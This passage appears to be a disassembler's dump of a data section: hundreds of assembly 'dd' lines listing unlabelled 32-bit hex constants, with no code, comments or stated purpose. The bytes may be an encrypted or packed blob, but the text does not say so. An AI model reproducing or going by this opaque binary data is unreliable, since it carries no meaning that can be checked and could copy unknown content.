		dd 3C526E9h, 0B4F537BEh, 2BCAF120h, 4864EE99h, 2FE741C0h
		dd 4B56AE5Eh, 0EB3168E4h, 6E80694h, 1FD0F71Fh, 0AA559395h
		dd 0D3E9FBD0h, 3AF5B105h, 0B11EBECAh, 0BB0F5FA5h, 6281FBF2h
		dd 0A37A4B68h, 0C7097879h, 0E80D4835h, 0B50EBE2Fh, 0E92F2AECh
		dd 32638ABAh, 4A94E978h, 68F520E0h, 0BD967911h,	0CBE36D93h
		dd 13A2DD40h, 0A07C843Eh, 5F817370h, 8BAA8F45h,	0F6326090h
		dd 0BD419D0Eh, 82F5010Bh, 9081765h, 3932A700h, 789D768Fh
		dd 7012C290h, 0FB60473Dh, 29C30A6Ch, 0D259CDC9h, 824E762Fh
		dd 7F378004h, 0F0F6D2F5h, 0FEED17EAh, 659509CAh, 2F9B147Dh
		dd 18F5FA01h, 1756E935h, 0D428623Bh, 89080F2Ah,	3FCEEB32h
		dd 580B415Dh, 0EA7FD231h, 8D71D7A6h, 530C85EBh,	10F9CBFEh
		dd 815FE702h, 9BD9F6FAh, 7714B3FAh, 82FD4BCEh, 0D761B0C7h
		dd 803230C1h, 475F10Eh,	68C80133h, 2B534017h, 0A7E4E7B6h
		dd 0C1321ECh, 1B29EB0Bh, 0F35EDF1h, 0C7EDC42Bh,	2E66A0AAh
		dd 55EC012Ch, 98661495h, 3D5000CFh, 7AB92859h, 1E5D40CDh
		dd 1FBD0493h, 53AC945Ch, 0F81AEB4Bh, 4705F0Ch, 2CFDD09Dh
		dd 4F6A67EFh, 0AD58651Fh, 0DB0F672h, 69E3925Ah,	0F90185h
		dd 5C0F38D8h, 259D520Ah, 81FEFE31h, 39A0EC16h, 1C630BCBh
		dd 54EDD877h, 79C5F60Fh, 9FE2FC3h, 202051F8h, 30509ADFh
		dd 0F7974DFDh, 0EF27C03Bh, 5FE8DA03h, 393FCBCEh, 0ABE226FCh
		dd 0F4BF017h, 0F0CEDF5Ch, 97AFAA80h, 5593F8B1h,	0C7AA22EAh
		dd 44626E56h, 82244FE4h, 204F8958h, 1C774D42h, 95F6B55Fh
		dd 5059386Ah, 9776070h,	405822FFh, 7B0040F6h, 0E8097CDFh
		dd 3825015Dh, 2D623321h, 890B8A14h, 53085BC2h, 6F942EFEh
		dd 0A2FA4064h, 75EF5ADAh, 0E78BAB18h, 7534404Bh, 581F967Fh
		dd 5E062D50h, 0B546817h, 0B8F06DAAh, 832031BCh,	0BE69614Eh
		dd 6825E24Ch, 0AEE8F98h, 3FB547B7h, 20C47017h, 0C7692BEFh
		dd 0CD294612h, 0D7B35CFCh, 96F1954Eh, 4089DD08h, 0E04CC1A1h
		dd 677519EBh, 0C57BE58Dh, 0C4B6B87Fh, 912BBA4h,	86E1E0A3h
		dd 0EFFDD689h, 52C8303Dh, 6F04DD68h, 90E970A5h,	0E37F54A1h
		dd 0AC5B7F0Fh, 662572A3h, 303AA6D6h, 7968044Eh,	959BB513h
		dd 4B72B9E8h, 455E6FFh,	51BFA52Dh, 3910F921h, 5BF14ABCh
		dd 9231ED3Ah, 56902CFAh, 9002BE22h, 8D52B5B9h, 0A163E914h
		dd 19A0D2CCh, 53775B6Ah, 203AE60h, 0C46B72F2h, 41FF8585h
		dd 0E9DE01BCh, 30A75037h, 680356C3h, 130C733Fh,	2E8005Eh
		dd 5046BF57h, 810358DDh, 0E93A9CE7h, 0DF0C3E60h, 0AF1C3012h
		dd 0D145101h, 22207CECh, 95BE1366h, 320C0929h, 0FA5C1D25h
		dd 58463328h, 8CA5A7B9h, 1F25E9ECh, 989272F8h, 944B4FEEh
		dd 0E2B60F01h, 0D7608787h, 29F3C94Fh, 2D8A6807h, 926C5F0Bh
		dd 0B8505E00h, 6F931FBFh, 0BBB6B35h, 0D7B389D7h, 12D727C6h
		dd 0E90D7D8Ah, 2197BB6Bh, 9FBC6ED4h, 0F542D7CBh, 0B92AFAF5h
		dd 6AFD6B4Ch, 27257A80h, 9C5CA35Ah, 9A68F173h, 9FD2B33Fh
		dd 0CFC0B093h, 2F72C9BDh, 3B780563h, 682813A0h,	26014548h
		dd 0C20C42F1h, 177D0C15h, 0E17BE91Ah, 3B2E405Dh, 494FD720h
		dd 4025B1F8h, 225799C1h, 0D0BD10B1h, 5156530Ch,	0BE809076h
		dd 0BD5E7293h, 8F697F70h, 272ADC0Dh, 0FBE940B8h, 452FA196h
		dd 1D686B4Dh, 8881CAAAh, 0D5ABC77Eh, 320B4C7h, 8413DF0h
		dd 5F114140h, 0EB414A7Bh, 0C198B359h, 55800C47h, 0C5AF8BE9h
		dd 0B131B142h, 0C3F34772h, 8F03052Dh, 0BA750BEBh, 33F3B02Eh
		dd 64611612h, 0DAF10943h, 0E5C1CB9Bh, 278B3679h, 0F73009B6h
		dd 0C161AF51h, 0D0200EE8h, 0AFE69783h, 0BD6EFA97h, 0E97D27F2h
		dd 0E223B260h, 4F2612B7h, 7DEDEC25h, 1F88CA01h,	0EAC1075Dh
		dd 91ADA06Ah, 68E44A12h, 814F26E8h, 6C46D43h, 0F8A120ABh
		dd 35F96816h, 1266B0CCh, 0C452F2Ch, 0EA77BFEBh,	2552D69Dh
		dd 651399FBh, 7CB74356h
		dd 5681DD48h, 8EBAF3E9h, 135EA56Bh, 0E960DCEFh,	0D857E624h
		dd 28CB5D9Dh, 727252CCh, 3DD87ACBh, 0AA4B6C62h,	5A3FDC9Fh
		dd 69E94006h, 784F777Dh, 0FCD387E8h, 73150024h,	0D4BF72CEh
		dd 3B03260Eh, 50A70460h, 8AC0BBEBh, 3B96B0C8h, 285B2990h
		dd 3802B9C6h, 2940C73Dh, 41C75DF9h, 951CE986h, 0BA594B86h
		dd 2825D13Ah, 962342FDh, 48E3A3F1h, 0E100C511h,	6815F343h
		dd 75C52D51h, 67BF8670h, 53B1A2D9h, 0F240B374h,	4AC808D9h
		dd 0A12D13D3h, 3132F74h, 64219DB0h, 1E85BEE9h, 3D885A3Fh
		dd 74074A0Bh, 0D43CF4FDh, 2E51EF40h, 9E3B450h, 107D58E5h
		dd 0FC61B10Bh, 7C9B7DB5h, 81B44EEAh, 0BCC7FE4Eh, 0C035AD04h
		dd 73C48015h, 32EE0B5Ch, 0E504E628h, 0C2590B61h, 0CCD379BCh
		dd 9DA55C8Bh, 85E95082h, 2556FAAEh, 9B7406FDh, 661E594Bh
		dd 68127347h, 8BBC3407h, 434658F2h, 6B2039B0h, 68AD0CD3h
		dd 0BB4D759Dh, 0B55AA640h, 70B09CF8h, 0C0B70F12h, 0D28449EDh
		dd 0B1CAAB57h, 0AEDC3D16h, 9688C161h, 0FA2DD606h, 28107FECh
		dd 7D826044h, 0FA01E498h, 183406B8h, 0ECAE89CAh, 0B2099FBDh
		dd 0EA285283h, 40C62C50h, 23E5001Ah, 64E9264Dh,	67E9B04Fh
		dd 0BFD6A985h, 2FC86BF3h, 475FF3BAh, 0C3257DCAh, 0E98A0157h
		dd 232F56ABh, 0AA125280h, 25B98272h, 0AF763786h, 0E697EFECh
		dd 25C8BC4Bh, 2D3D3DCh,	3AE7BA94h, 0D3DD030Ch, 6EE9842Ah
		dd 0D273E8EAh, 3E4AA1BEh, 9B8440B6h, 1469EB39h,	740E616Fh
		dd 535A00B4h, 50FEF154h, 0A5F99D4Bh, 19038E9h, 0FD5F5EFEh
		dd 0CFE9C5F6h, 0B4AF04D4h, 475B4A45h, 9056FFC8h, 8F192D48h
		dd 81099F7Bh, 8B7AFCEFh, 0FB5079E9h, 0D9F7491Ch, 0AC0009EEh
		dd 8903D801h, 36E912CFh, 8460E2C5h, 0AB1773AEh,	12AF7216h
		dd 0F7E981F9h, 0BAE3B5Eh, 0C65D88B6h, 16C5FE5Ch, 5B25231h
		dd 0BA5B99A0h, 0DA15A89Dh, 67CF4400h, 781792Ah,	76B58F5h
		dd 0AEED6236h, 2378D987h, 9B018A02h, 273C6BF5h,	66704D79h
		dd 4BF197A4h, 5A78088h,	0BB768D68h, 6431709Dh, 0BA5CC56Fh
		dd 0FC2FFFE1h, 1184E52Ch, 45682B4h, 877A653Ah, 3F04AAD3h
		dd 5E0E8337h, 3ACBE7CBh, 6CFA4A40h, 40DFB4AAh, 0B7A98AD0h
		dd 4709F1C7h, 2065D56Fh, 6A0DF9A4h, 0B03A027Fh,	0E32C68A1h
		dd 77C0DF12h, 50633E73h, 3B1A14Bh, 0E9185A54h, 562598EFh
		dd 2294FD09h, 4EC22D00h, 120D1B98h, 5566004Bh, 50423548h
		dd 5011640h, 9E58D881h,	9D0C389h, 481C695Fh, 31E5B6DDh
		dd 87E5562Bh, 0A6E43ACDh, 46071DC7h, 9406BD0Fh,	1844D04Fh
		dd 0D17FB20Bh, 4E5DF456h, 0CD04AF85h, 7F64D930h, 7D2E42C1h
		dd 0BF686600h, 7D18729Fh, 14032781h, 8720177Ah,	0AA0B975Dh
		dd 7F0CA9DDh, 0A9E559A9h, 821084A4h, 35ABD4Eh, 0FD3E8BC2h
		dd 50DAC972h, 5386AB40h, 3D959019h, 5B3E63EDh, 0C4980C60h
		dd 789D85C0h, 0BE295C13h, 0DEDAB642h, 8AB39D98h, 5BECD9E0h
		dd 0EB926A90h, 0F9334B76h, 0EAC68BDBh, 970150B3h, 0E9D833D6h
		dd 0E7BEA2h, 937109BEh,	5A3BB31h, 7B4C24F9h, 0C125E4B9h
		dd 0C531BB50h, 5BD91770h, 1D560030h, 8086B5B2h,	7B6747E1h
		dd 0E69F4922h, 0F99B0B8Ch, 87779D2Ah, 0F699D1A0h, 0F121308Dh
		dd 0F26299A9h, 79DE7418h, 86944268h, 0B2037F0Ah, 343C64h
		dd 0AF717F0Ch, 0F6B85038h, 41627316h, 6B49EA1h,	0C0B1A7Ah
		dd 70C170Dh, 0EBF8B323h, 0D1F15D03h, 0D912BD37h, 1697CE62h
		dd 712CFB5Bh, 0C6F3991Ch, 91098852h, 0D543CF6Bh, 95E1C0Fh
		dd 85D0B54Dh, 659CBF80h, 0E91206F0h, 69CBA939h,	893FB95Fh
		dd 0D1DFF6h, 57BFBF93h,	0FA8DBE2Dh, 0AC89986Bh,	9191AB4Eh
		dd 0B97847B6h, 964CF680h, 7AFAE88Ch, 2D1000BFh,	3EC85756h
		dd 513E292Ch, 97024696h, 61C97FF5h, 0DDF9509Bh,	10287283h
		dd 5F3E7667h, 0E3D19513h, 60A24F1Eh, 2441410h, 1A6D86B9h
		dd 0A8427D23h, 4F8C52F7h, 0C753AB5Fh, 9705E904h, 0F13B9267h
		dd 6EA7A779h, 1E759532h, 0EAB52D3Dh, 57F132DFh,	86C39376h
		dd 0B247CCDh, 37A03DE1h, 627B85DDh, 166AB02h, 450555EFh
		dd 4A09BC4Fh, 71F19E2h,	0A5AC6EE9h, 510BFE7Bh, 55E655h
		dd 6937B8B9h, 293CBD65h, 8211402Dh, 2EFD9C5h, 0FAC1A72Ch
		dd 0C160593h, 51841DFCh, 99AC5750h, 0B9CAEFD6h,	7025BDD4h
		dd 0D31E6822h, 0FC22AB55h, 0C7FD5A41h, 0A65A74Ah, 7D85C313h
		dd 4E29C4B4h, 0F5CEEFF0h, 71685283h, 4966D88Dh,	2F910312h
		dd 85B9450Ah, 0FDCDB48Bh, 0F281C868h, 0C347EB04h, 80BA4A57h
		dd 2604315Fh, 0DD4D099Fh, 74EE5EE0h, 2772F2B0h,	6A12214Eh
		dd 0A38F3DCCh, 42D6F7A4h, 17CDEE1Ch, 451D52Ch, 8CB3C087h
		dd 50FBB7Ch, 0A675F566h, 0EC898020h, 0F46C13A6h, 0A83A5C0Ah
		dd 4F8FFA08h, 4829AB76h, 6529F5F6h, 0C0A51A7Ch,	3F4F41C3h
		dd 0CA3CF2DAh, 5B87A3DFh, 53B162B8h, 47C93EDBh,	0EE42AB2Fh
		dd 40C934F8h, 80456A4Ah, 76F06855h, 12EC9897h, 0D85D81CAh
		dd 71957970h, 6F864F59h, 59511947h, 3C6BE58Dh, 16126B80h
		dd 1ADCA13Ah, 5658358Eh, 0F4C14CE4h, 841EB50Bh,	0ABD37034h
		dd 843A95B1h, 16A3BB9Ch, 0B8FCD297h, 53B996A0h,	1C504E75h
		dd 1D12FDBBh, 0A1FDEF86h, 0C3D72E79h, 1B7D88DCh, 8341173Dh
		dd 923637BBh, 0ED6C75E8h, 138D094h, 0E92FC97Fh,	0F32A41BFh
		dd 0BCEF1245h, 0EB96B7F3h, 0E7D05504h, 0D65691C2h, 30DF5A0Ch
		dd 97BCCF31h, 8660EE94h, 6A21B873h, 0BF74027Ch,	0CDF7A59Bh
		dd 818007D7h, 0CB146D67h, 0FC5036B8h, 83E133Dh,	24F824Ah
		dd 9F422459h, 0FEBA0495h, 0B52992B0h, 17E37D2Fh, 0C063546h
		dd 46E62CCh, 0A3EFFC6Ch, 140C4108h, 75499AD3h, 0D271A8A2h
		dd 74AD20FEh, 0E5D9869h, 2201E83Eh, 0E9DE2986h,	0B26F7760h
		dd 74241251h, 0F95174AAh, 4CE01B25h, 52EBB453h,	0C12909F5h
		dd 7147B455h, 364069E9h, 0C2405EF8h, 9D1E09B9h,	0E574996Ch
		dd 6A715012h, 102F314h,	97F3C657h, 0CBBA89D4h, 136FA0F1h
		dd 0A879BB34h, 807E8FA5h, 5B816841h, 869AF32Bh,	7E35E19h
		dd 773586C5h, 0A3CD602Bh, 414BC873h, 0C7F5600h,	12D5F71Ch
		dd 0BC5503E9h, 5D5C89A3h, 0B6AABCCBh, 0CBEE5B5Dh, 68EE159h
		dd 0F745A909h, 0C9286E59h, 3E74D80Fh, 27CA8E6Ch, 0E961CD4Bh
		dd 897D7C10h, 71F50F2Ah, 50D9B45Ah, 695E80E9h, 7B841CF2h
		dd 0C564B8CFh, 73F30A45h, 44720979h, 85DF4F9Dh,	54C10768h
		dd 2654D923h, 2C5CEF08h, 0CFB91F5Ah, 42641ED5h,	3F60F388h
		dd 92EED922h, 999BA7A4h, 4B589EDDh, 46F7FD7Ah, 0D5372089h
		dd 523CE0B5h, 58D00ABAh, 18E63FBh, 0A61499EFh, 0B5C76C29h
		dd 7684CBFFh, 2BCAF305h, 94BD7995h, 9F42EA02h, 0D4DC2158h
		dd 78AFF925h, 0EA5389E9h, 0AC510F80h, 96776528h, 0CEFF7864h
		dd 91AB50AFh, 0A41B9B97h, 704974F3h, 2D3F4710h,	9733F85Ah
		dd 0F8620556h, 60D75E57h, 5517733Dh, 21890505h,	3F82509Eh
		dd 5E07812Dh, 0A52CB7E9h, 712D5C2Eh, 51FEE2E9h,	770F0BA5h
		dd 0AB767529h, 54274710h, 56AD7945h, 0F6EEC06Fh, 745EAB65h
		dd 802C7B5h, 4BE9D15Fh,	92F8945Eh, 944495DDh, 98973395h
		dd 60A82264h, 77A70C7Eh, 97807809h, 16292026h, 5D5CC802h
		dd 59DF216Ch, 9C0249E5h, 0B90065C7h, 503F03F4h,	16228073h
		dd 0C558B29Dh, 0F3C0EEADh, 7FCA2117h, 0F2382F11h, 0F8DA935Dh
		dd 3F2C8B2Bh, 0F3AEDAF7h
		dd 20059688h, 13355F08h, 6B05612h, 0EF3B4CA1h, 0B4DBE531h
		dd 0AE5B3C3Dh, 4F59290Bh, 5EF91029h, 86D20604h,	0FFA5340Bh
		dd 436B4C8h, 803E1F80h,	231EBEBBh, 0B69332DAh, 38805FA0h
		dd 0E3242EECh, 0A6E809C9h, 0E44063BAh, 29A2FA5Ch, 68E2018Fh
		dd 68C13ADAh, 16CE6E8Eh, 0DAB87D62h, 5F25D4FCh,	0E8C1C348h
		dd 1DAE024Bh, 0D13FCFADh, 810509CBh, 70A7FBB7h,	0E3055F7Bh
		dd 0B4FED2BFh, 0FE46876h, 0ACAAB591h, 6A2A957Ch, 0EEB00C62h
		dd 5BD8CE9Fh, 0E93A0295h, 9E65D6C0h, 4718D52Dh,	0A21F6856h
		dd 5E129B08h, 0B80963BFh, 553B65D0h, 5FCC70EDh,	0DA5C5782h
		dd 317191E9h, 0CF1822F2h, 6044F9DFh, 940348BEh,	0AE682C0Ah
		dd 0F79C8936h, 0F11575ADh, 7AD58D0h, 157007D7h,	0B8C143D8h
		dd 1AEC1010h, 3A92D610h, 8108E202h, 0C55102BDh,	2CAE602h
		dd 0F7029E19h, 0B6DB02F2h, 101B5C03h, 10AE1148h, 931071C0h
		dd 21291874h, 80E6EA20h, 0F981987Dh, 8B202FEh, 18242103h
		dd 18720108h, 8C47FDFh,	0D004B0C4h, 0AB80049Fh,	0D91BE04h
		dd 3D31E136h, 96220888h, 880F608h, 770D62B3h, 0B18839A4h
		dd 0A03EC7F1h, 0A93266B4h, 7720E9B8h, 65F320C2h, 8FD5031h
		dd 2888267Ch, 5B08C05Ch, 22810C69h, 0A0A89018h,	0D783BE34h
		dd 4098180Ch, 9C40E5FCh, 2A11C6CAh, 9D40D9BCh, 82D840B1h
		dd 0FC381C63h, 8D08180Fh, 55218D4h, 81024280h, 86B45184h
		dd 760888FBh, 913C1983h, 0EDF98CA8h, 40DE0868h,	0E4A85D89h
		dd 28CC1F2Ch, 40AC695Bh, 1A4039A5h, 90FA54BCh, 9A08C4FEh
		dd 3DF0697h, 0D0E3120h,	1257308h, 208CE29Eh, 0C08E53Dh
		dd 54B66640h, 80E4F019h, 10C41D9Fh, 0F80AA61Ch,	0B3D38884h
		dd 0CA18108h, 0A08944Bh, 409E6B40h, 0B2405C6Ah,	0C9724079h
		dd 64AAF940h, 0A6D317Fh, 0D188F464h, 0CC0515C9h, 2088F32Ah
		dd 9C20C5E2h, 0F13462DEh, 0FD067589h, 0A79D20C9h, 8E04E32h
		dd 0D624486Dh, 23428082h, 0DDCE10C4h, 0AAA18D0Ch, 264859C9h
		dd 31413B74h, 60089B64h, 2E189517h, 0BF9612C8h,	189A4048h
		dd 0BCAD903h, 0D3FE28C4h, 4ACA704h, 5C920CDDh, 645102B6h
		dd 29D5502h, 2F04EF32h,	7C62D091h, 0CCA25D02h, 21020AB3h
		dd 152B02D1h, 6744C02h,	0BC20D9E5h, 29FA65F1h, 76A849F4h
		dd 674E1C22h, 228CE203h, 5920A908h, 8F35208Ah, 20A4DA20h
		dd 0E062EA2Ch, 2A883D1h, 0BE060E9Dh, 1C134DF9h,	65883B2Ah
		dd 44436987h, 0A0D88BCh, 4B88D04Ah, 61141977h, 7B819564h
		dd 959A19B0h, 0CA0379A9h, 0DA77C110h, 2D117A1Eh, 10F11C75h
		dd 0C7D761E6h, 0D7885EFEh, 17FBE906h, 83B80B1Eh, 7883A47Bh
		dd 14071ED6h, 631FF435h, 7A48447Fh, 4504530Bh, 0A4EF1264h
		dd 473F8F51h, 0CFBB3920h, 0DFAB8188h, 1F76F0Ah,	3D89F7ACh
		dd 306BA061h, 0A820E9B5h, 8B89D19Dh, 5274890Eh,	0F75558E2h
		dd 0E96121C5h, 554168EAh, 510397E3h, 1E0270D0h,	0D025737Bh
		dd 434BF494h, 5EDC383h,	1EBF813Eh, 4B7AFC46h, 0E2EDA875h
		dd 74597F5Dh, 5336B500h, 27C082B7h, 99E306E7h, 0F08062Eh
		dd 7C6EE009h, 0A777D221h, 6B506DBBh, 5435E957h,	1CB92F5Fh
		dd 9F404E0Ah, 0D4DEADD1h, 0E6210518h, 0BA520353h, 70FB43B5h
		dd 3D5D3CAh, 1755E93h, 25E1813Eh, 8E3D4A2Dh, 0EB5CA50Ch
		dd 9F808540h, 0E04BC9EEh, 1397A745h, 4225C1B2h,	0F6D6679Fh
		dd 0BF000E76h, 53BA7772h, 0A8095868h, 0C05BF588h, 166FC3E3h
		dd 0AEF635CEh, 4CF93E4Eh, 8612F580h, 85A2B9DFh,	0FA8BD456h
		dd 0AE00575Fh, 6E9382EAh, 5EC27B5Eh, 0E152F757h, 3BF05F5Ah
		dd 0C8E91855h, 59CE3DB9h, 0CFFD294Ah, 0EF459E04h, 5A0F834Ah
		dd 7C24AAD9h, 0C12112F1h, 0F13A0599h, 1EEB6695h, 1A8B5652h
		dd 0B59CF55Dh, 1B3FBD00h, 0B8682BA4h, 0E90DA929h, 0D23BC3F9h
		dd 9BF75D84h, 0C430F196h, 954F0A9Dh, 5928DE57h,	0B1E320F5h
		dd 7FB3533Eh, 181C4625h, 3E673D08h, 0B4C84EE0h,	0CCD71A6Bh
		dd 0DC229FFDh, 0E47543ACh, 5F6873FFh, 86D6B930h, 0ED121FD4h
		dd 0BE742C2Ah, 660B9D94h, 6FD0F929h, 0B11DDF94h, 612D4696h
		dd 0E87C2A18h, 7C9B5150h, 6EF6475Fh, 0AFE51A24h, 156215FFh
		dd 0C3C6995Eh, 0EB072D70h, 4D8A7650h, 40BE616Fh, 189C0342h
		dd 0C303BC1h, 8806210Ch, 8F663418h, 96FD8D40h, 79B242DBh
		dd 0FE875277h, 90E2B569h, 62BEF3DDh, 22DB0391h,	1ABF1BA4h
		dd 1EFB037h, 0D8284ADDh, 0C1A1042Eh, 0B6CA8058h, 0E6178654h
		dd 64A9D4F6h, 0D168F42Dh, 0DCFA2CB4h, 3B83E918h, 12DACD7Dh
		dd 1387168h, 0A2530365h, 0B1B02BE3h, 5955122Dh,	0F10CBF4Ch
		dd 975832A6h, 0FB308C72h, 0E78012C0h, 0E5D2BDCCh, 0C43FEFEEh
		dd 0F809F02Ch, 901116E9h, 8250108Eh, 990B9A40h,	0CF0171BFh
		dd 93A58C7h, 0A8D7C75Fh, 44853262h, 0EAF4664Dh,	3C98B450h
		dd 0AE4EE4C0h, 43C47A81h, 935012BBh, 0F40813AAh, 607B095Ah
		dd 0ABD21877h, 5DC59DFCh, 0AF510E08h, 0B01CD70h, 8176A411h
		dd 86C06CF2h, 1860BF43h, 0CA48DDEEh, 946021Bh, 0D0012961h
		dd 5F08820Ah, 0E559F274h, 1641C6D6h, 0E8501568h, 8D3AC6EDh
		dd 505E6110h, 0B9EB835Ah, 86C484A6h, 0C4EE57E8h, 1E89C0DDh
		dd 687F2021h, 522BCB06h, 0C742D48h, 9A262A4h, 2A031F0Ch
		dd 3DE988F5h, 0BF5A4B91h, 0B10B2E12h, 2563D379h, 8A35216Ch
		dd 2EC0A4Bh, 92CEE22Ch,	8408A95Fh, 0D4142584h, 0AB886D12h
		dd 0BC08A339h, 162663EAh, 62B925B1h, 0D1D07B74h, 2854ECEEh
		dd 0FBD19E7h, 2AC20915h, 53BFE280h, 9EC12D91h, 471E5DD7h
		dd 3C90F02Ah, 0B42FA948h, 39477AD1h, 31688730h,	0C1D35CDBh
		dd 6EF0499h, 7F14643Dh,	559458BEh, 9D2058ACh, 8B188198h
		dd 62B30618h, 1AA0E4E9h, 108BB07h, 0FEA24350h, 0F2376C07h
		dd 1D77EB67h, 6F12417Eh, 6E569F5h, 2D00A755h, 2FE26BC0h
		dd 2FD248F7h, 28035B00h, 5AD631DDh, 0E9EED10Bh,	687AA1CFh
		dd 0E06639C8h, 0F3704400h, 8E1C13Bh, 60D9B5h, 29DD7C76h
		dd 0B94A7AE9h, 30E12DAAh, 89AA7F52h, 5D266CD5h,	800E768Bh
		dd 0E26723CAh, 0EAE1B4F2h, 0FB0BDF44h, 6C980513h, 92C989Ch
		dd 630C7014h, 787207EAh, 0F6602897h, 2FA66935h,	34DA4621h
		dd 51523F25h, 31F5451Fh, 7E0193B9h, 0DC680C20h,	0EC6C9709h
		dd 4D5AD3F4h, 3A4C6E30h, 81140179h, 8E343EE7h, 0C295702Bh
		dd 7B4A41h, 0B371FFE1h,	5C9D5368h, 0EB4793C8h, 0FD2A7BB1h
		dd 3F38CC1Ah, 0C6569F5Eh, 0E0015193h, 3353D8Eh,	5C63BAF3h
		dd 76FA84F3h, 419181C6h, 0C231021Dh, 28E97FDFh,	7DF63AEBh
		dd 5EE9DF98h, 124079Ah,	0FF024DC5h, 43030E32h, 0A718D091h
		dd 0B2CABD2Ah, 0FCF21FA0h, 0CAB0EB0Eh, 0E7289020h, 4040D130h
		dd 710FBD2Fh, 4607ED62h, 97D508A3h, 2883FCF4h, 0F91D013Ch
		dd 8F2A27B7h, 0C33103E8h, 76923E9h, 6129C223h, 346B3F7Fh
		dd 0FF58BEABh, 4F51CF3Fh, 7B076BF8h, 605C411Dh,	0A3660DCAh
		dd 0C0421335h, 0B7935081h, 31EDD101h, 6F82653Fh, 728624BDh
		dd 0E20E270Fh, 122DD568h, 84C9E3EEh, 3CA17BE9h,	0B22CAA2Bh
		dd 0EA8DA301h, 9EB4027Dh, 84DD21C3h, 9629C6ACh,	0BDBA5020h
		dd 8102F6F8h, 730A33F7h, 8E427D21h, 0E659F0E9h,	51618107h
		dd 0F7C8C6AFh, 196812D1h, 0C157AC38h, 7DCC64E5h, 0E2C1D941h
		dd 99C26688h, 98645813h, 6ABF0AEh, 0EE8C7C5Bh, 88F9404Ch
		dd 0D7AB40BDh, 9AC495BDh
		dd 982C70B5h, 57B520E7h, 0ADEFAC76h, 52432487h,	0D80A87h
		dd 71BF5BEh, 0FE5F010Eh, 0FD5E0A8Ah, 9D9E40C9h,	0EF832024h
		dd 1347CF01h, 0B52034F0h, 1A4912B6h, 0DD17043Fh, 0E9E2C174h
		dd 28C05248h, 0C4E36CFDh, 7671A9Eh, 7772EFD1h, 3DBB570Fh
		dd 0FE52A1DAh, 3993C71Ch, 0F7010D87h, 5D2B46D2h, 133FF147h
		dd 5F477202h, 0A2A5BCEEh, 0F76ED1BAh, 0AD5E7068h, 3EEC0CCFh
		dd 0B4B1BDD6h, 73E2047Bh, 12CA168Ch, 9E94ED5Ch,	9B77BC18h
		dd 3E0BE3EFh, 5631BD8Ch, 22E9C1DBh, 30EC5155h, 95A76BF8h
		dd 41D9D83Ah, 26F8293Fh, 0A01531E2h, 3B4445FBh,	874F23B9h
		dd 359983CCh, 0E0E57D04h, 51C11541h, 0B77E2ECFh, 3F3A524Ah
		dd 4CFB5C78h, 999A253Dh, 0C35172Eh, 933EAC67h, 90394FF9h
		dd 746F062Ch, 0F5FF1A69h, 6C0888DAh, 1735929h, 4F4CE0DDh
		dd 6ECE6031h, 37B8985Ah, 0D1A28FA2h, 200286D5h,	685E5DE8h
		dd 9D466863h, 9850E58Ch, 42260BA7h, 8D7A3AEAh, 1175E209h
		dd 49A1FE09h, 0BB03175Dh, 0AF82B049h, 2955E9C8h, 0C2B163F8h
		dd 408C4880h, 0AB2C1305h, 0CE3BE138h, 2422CE5Dh, 0C1AB21DDh
		dd 4C5EE568h, 5D5D54B0h, 1BCC4ABh, 7B22F31Fh, 57B160EBh
		dd 0B6813F28h, 417A8E8Dh, 0A1299E5Ch, 64F13317h, 112020Ah
		dd 0B25267A8h, 0CC91407Fh, 154AE116h, 744879C2h, 9D6A0B17h
		dd 7AC47683h, 453C7725h, 0E7B500A0h, 2050B353h,	0AEA703BDh
		dd 68D90C79h, 84081A9Fh, 547A0278h, 4BF5E3AAh, 0A0ADF64h
		dd 1BE26887h, 897BF1EBh, 0EFF6C52h, 3879CC89h, 211D30F7h
		dd 6590CF0Ah, 83CCE912h, 6809E835h, 31C742DFh, 6BFD3D9h
		dd 0B8F6CB16h, 4F09E06Fh, 0CDDBB71Ch, 2FB41Ah, 4A5AA394h
		dd 0B8095166h, 3A44817Eh, 6087E301h, 5E8EA5F3h,	12F8CE4Ah
		dd 0A8826813h, 0D50BD22Fh, 4012488Eh, 63AD5C4Ah, 14F2BA02h
		dd 2559A43h, 0A6B8577Ah, 0B57D76F8h, 67FB3E3h, 727E2A2Dh
		dd 0B3F30146h, 9637A15h, 0E226F9DAh, 0E254BDA9h, 270C1F08h
		dd 4B4F1CDEh, 0D71729F9h, 0FF4BBE51h, 1C3E1D9Dh, 772F0596h
		dd 0EA98AF94h, 3D5ECD04h, 9BA211Ch, 6D40BA46h, 0EF196FBDh
		dd 3FB05FF7h, 818E2Ah, 16F86856h, 0BA5E1295h, 0F68102FAh
		dd 0B196D8F7h, 31447E75h, 81B29DE6h, 4C8EEF47h,	43E4130h
		dd 0EBD7F7C2h, 0FB12AF84h, 0A40F3084h, 45C905F1h, 0BB4AAAA2h
		dd 15B0A347h, 88F68D7Eh, 0FCAC40F2h, 4F6D9E81h,	0A5ECA40Ah
		dd 4C1867E0h, 0EAD50FCCh, 312D419Dh, 0AFA62BB1h, 0EB085A79h
		dd 9EEC7774h, 308BB3A2h, 6A4A4B5Ch, 3CA98712h, 4FE18B9Eh
		dd 7ED54249h, 3587A998h, 0F064BDDh, 0E2856E38h,	5604A0B1h
		dd 556ABE05h, 9C010F9Bh, 24193DEBh, 0EF489064h,	0D0C36603h
		dd 31A95A9Bh, 0AC8641C2h, 5622290h, 21C8386Ch, 5CF89B82h
		dd 96268B1Fh, 369C9FF6h, 0E10ED696h, 5C969F04h,	4154C6C2h
		dd 0BB0531DBh, 7EE3800Eh, 0EB82239Dh, 80CB28D0h, 3E0C1EC6h
		dd 18926804h, 0FEF027D9h, 596358EAh, 7F28CA0Ah,	1082EB14h
		dd 71E6E999h, 0FDB1924Bh, 0C6DE57B0h, 54120481h, 0E0EF73F6h
		dd 652768B1h, 49A7F169h, 542D2AD3h, 0BEAD9254h,	0DEFF2416h
		dd 8BAD2790h, 27C77F9Fh, 418EFE27h, 69E8315Dh, 0AD9B1001h
		dd 20A62926h, 13C90EAh,	2CB674D7h, 2A1463E9h, 0D5A7C4B8h
		dd 0C2E6B45Bh, 895D9F38h, 88CA2910h, 590108F6h,	58DEBD55h
		dd 0C42F0371h, 0EEE40107h, 0A49B9CDFh, 1F07462Ch, 4C6D297Dh
		dd 2EE90800h, 6FF9BA7Bh, 1B4503FFh, 600DED0Dh, 7C64863Eh
		dd 9C32FE20h, 275C52ADh, 4495258h, 0D9E941CDh, 0B943EB32h
		dd 0F5EDD106h, 0C1B16CC4h, 7D88A73Ah, 84045A4Eh, 0D485C530h
		dd 0F50E00BEh, 59E82890h, 0D83D043Ah, 1B5A7BD2h, 288C8F9h
